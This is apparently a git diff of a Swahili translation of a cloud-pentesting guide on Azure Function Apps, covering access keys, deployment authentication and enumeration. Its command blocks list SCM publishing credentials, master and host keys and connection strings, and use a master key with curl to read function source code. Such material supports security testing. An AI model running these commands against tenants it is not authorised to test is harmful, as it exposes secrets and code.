- **Funguo za Mwenyeji:** Funguo za mwenyeji, ambazo pia zinaweza kuwa za kawaida au zilizofanywa na mtumiaji, zinatoa ufikiaji kwa **viunganishi vyote vya kazi ndani ya Function App kwa ngazi ya ufikiaji wa FUNCTION**.
|
||||
- **Funguo za Master:** Funguo za master (`_master`) hutumikia kama funguo za kiutawala zinazotoa ruhusa za juu, ikiwa ni pamoja na ufikiaji kwa viunganishi vyote vya kazi (ngazi ya ufikiaji wa ADMIN inajumuishwa). **funguo hii haiwezi kufutwa.**
|
||||
- **Funguo za Master:** Funguo za master (`_master`) hutumikia kama funguo za usimamizi zinazotoa ruhusa za juu, ikiwa ni pamoja na ufikiaji kwa viunganishi vyote vya kazi (ngazi ya ufikiaji wa ADMIN inajumuishwa). **funguo hii haiwezi kufutwa.**
|
||||
- **Funguo za Mfumo:** Funguo za mfumo zinadhibitiwa na **nyongeza maalum** na zinahitajika kwa ufikiaji wa viunganishi vya webhook vinavyotumiwa na vipengele vya ndani. Mifano ni pamoja na kichocheo cha Event Grid na Functions za Kudumu, ambazo hutumia funguo za mfumo kuingiliana kwa usalama na APIs zao.
|
||||
|
||||
> [!TIP]
|
||||
@@ -96,7 +98,7 @@ Unapounda kiunganishi ndani ya kazi kwa kutumia **kichocheo cha HTTP** inawezeka
|
||||
|
||||
### Basic Authentication
|
||||
|
||||
Kama ilivyo katika App Services, Functions pia zinasaidia uthibitisho wa msingi kuungana na **SCM** na **FTP** ili kupeleka msimbo kwa kutumia **jina la mtumiaji na nenosiri katika URL** inayotolewa na Azure. Maelezo zaidi kuhusu hili katika:
|
||||
Kama ilivyo katika App Services, Functions pia zinasaidia uthibitishaji wa msingi kuungana na **SCM** na **FTP** ili kuweka msimbo kwa kutumia **jina la mtumiaji na nenosiri katika URL** inayotolewa na Azure. Maelezo zaidi kuhusu hili katika:
|
||||
|
||||
{{#ref}}
|
||||
az-app-services.md
|
||||
@@ -192,18 +194,18 @@ package: ${{ env.AZURE_FUNCTIONAPP_PACKAGE_PATH }}
|
||||
```
|
||||
</details>
|
||||
|
||||
Zaidi ya hayo, **Identiti Iliyosimamiwa** pia inaundwa ili Github Action kutoka kwenye hazina iweze kuingia kwenye Azure kwa kutumia hiyo. Hii inafanywa kwa kuzalisha akiba ya Shirikisho juu ya **Identiti Iliyosimamiwa** ikiruhusu **Mtoaji** `https://token.actions.githubusercontent.com` na **Kitambulisho cha Mtu** `repo:<org-name>/<repo-name>:ref:refs/heads/<branch-name>`.
|
||||
Zaidi ya hayo, **Identiti Iliyosimamiwa** pia inaundwa ili Github Action kutoka kwenye hazina iweze kuingia kwenye Azure kwa kutumia hiyo. Hii inafanywa kwa kuzalisha akidi ya Shirikisho juu ya **Identiti Iliyosimamiwa** ikiruhusu **Mtoaji** `https://token.actions.githubusercontent.com` na **Kitambulisho cha Mtu** `repo:<org-name>/<repo-name>:ref:refs/heads/<branch-name>`.
|
||||
|
||||
> [!CAUTION]
|
||||
> Hivyo, mtu yeyote anayekatisha tamaa hazina hiyo ataweza kukatisha tamaa kazi na Identiti Iliyosimamiwa zinazohusiana nayo.
|
||||
|
||||
### Utekelezaji wa Msingi wa Kontena
|
||||
|
||||
Sio mipango yote inayo ruhusu kutekeleza kontena, lakini kwa zile zinazofanya hivyo, usanidi utaonyesha URL ya kontena. Katika API, mipangilio ya **`linuxFxVersion`** itakuwa na kitu kama: `DOCKER|mcr.microsoft.com/...`, wakati katika console ya wavuti, usanidi utaonyesha **mipangilio ya picha**.
|
||||
Sio mipango yote inaruhusu kutekeleza kontena, lakini kwa zile zinazofanya hivyo, usanidi utaonyesha URL ya kontena. Katika API, mipangilio ya **`linuxFxVersion`** itakuwa na kitu kama: `DOCKER|mcr.microsoft.com/...`, wakati katika console ya wavuti, usanidi utaonyesha **mipangilio ya picha**.
|
||||
|
||||
Zaidi ya hayo, **hakuna msimbo wa chanzo utakaohifadhiwa katika akaunti ya hifadhi** inayohusiana na kazi kwani haitahitajika.
|
||||
Zaidi ya hayo, **hakuna msimbo wa chanzo utakaohifadhiwa katika akaunti ya hifadhi** inayohusiana na kazi hiyo kwani haitahitajika.
|
||||
|
||||
## Uhesabu
|
||||
## Uainishaji
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="az cli" }}
|
||||
@@ -211,10 +213,10 @@ Zaidi ya hayo, **hakuna msimbo wa chanzo utakaohifadhiwa katika akaunti ya hifad
|
||||
# List all the functions
|
||||
az functionapp list
|
||||
|
||||
# Get info of 1 funciton (although in the list you already get this info)
|
||||
az functionapp show --name <app-name> --resource-group <res-group>
|
||||
## If "linuxFxVersion" has something like: "DOCKER|mcr.microsoft.com/..."
|
||||
## This is using a container
|
||||
# List functions in an function-app (endpoints)
|
||||
az functionapp function list \
|
||||
--name <app-name> \
|
||||
--resource-group <res-group>
|
||||
|
||||
# Get details about the source of the function code
|
||||
az functionapp deployment source show \
|
||||
@@ -231,6 +233,9 @@ az functionapp config container show \
|
||||
# Get settings (and privesc to the sorage account)
|
||||
az functionapp config appsettings list --name <app-name> --resource-group <res-group>
|
||||
|
||||
# Get access restrictions
|
||||
az functionapp config access-restriction show --name <app-name> --resource-group <res-group>
|
||||
|
||||
# Check if a domain was assigned to a function app
|
||||
az functionapp config hostname list --webapp-name <app-name> --resource-group <res-group>
|
||||
|
||||
@@ -240,22 +245,41 @@ az functionapp config ssl list --resource-group <res-group>
|
||||
# Get network restrictions
|
||||
az functionapp config access-restriction show --name <app-name> --resource-group <res-group>
|
||||
|
||||
# Get more info about a function (invoke_url_template is the URL to invoke and script_href allows to see the code)
|
||||
az rest --method GET \
|
||||
--url "https://management.azure.com/subscriptions/<subscription>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions?api-version=2024-04-01"
|
||||
# Get acess restrictions
|
||||
az functionapp config access-restriction show --name <app-name> --resource-group <res-group>
|
||||
|
||||
# Get connection strings
|
||||
az rest --method POST --uri "https://management.azure.com/subscriptions/<subscription>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/config/connectionstrings/list?api-version=2022-03-01"
|
||||
az rest --method GET --uri "https://management.azure.com/subscriptions/<subscription>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/config/configreferences/connectionstrings?api-version=2022-03-01"
|
||||
|
||||
# Get SCM credentials
|
||||
az functionapp deployment list-publishing-credentials --name <app-name> --resource-group <res-group>
|
||||
|
||||
# Get function, system and master keys
|
||||
az functionapp keys list --name <app-name> --resource-group <res-group>
|
||||
|
||||
# Get Host key
|
||||
az rest --method POST --uri "https://management.azure.com/<subscription>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions/<function-endpoint-name>/listKeys?api-version=2022-03-01"
|
||||
|
||||
# Get source code with Master Key of the function
|
||||
curl "<script_href>?code=<master-key>"
|
||||
## Python example
|
||||
curl "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=<master-key>" -v
|
||||
curl "https://<func-app-name>.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=<master-key>" -v
|
||||
|
||||
# Get source code using SCM access (Azure permissions or SCM creds)
|
||||
az rest --method GET \
|
||||
--url "https://<func-app-name>.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=<master-key>" \
|
||||
--resource "https://management.azure.com/"
|
||||
|
||||
# Get source code with Azure permissions
|
||||
az rest --url "https://management.azure.com/subscriptions/<subscription>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01"
|
||||
## Another example
|
||||
az rest --url "https://management.azure.com/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Web/sites/ConsumptionExample/hostruntime/admin/vfs/HttpExample/index.js?relativePath=1&api-version=2022-03-01"
|
||||
|
||||
# Get source code
|
||||
az rest --url "https://management.azure.com/<subscription>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01"
|
||||
```
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Az Powershell" }}
|
||||
```powershell
|
||||
```bash
|
||||
Get-Command -Module Az.Functions
|
||||
|
||||
# Lists all Function Apps in the current subscription or in a specific resource group.
|
||||
|
||||
Reference in New Issue
Block a user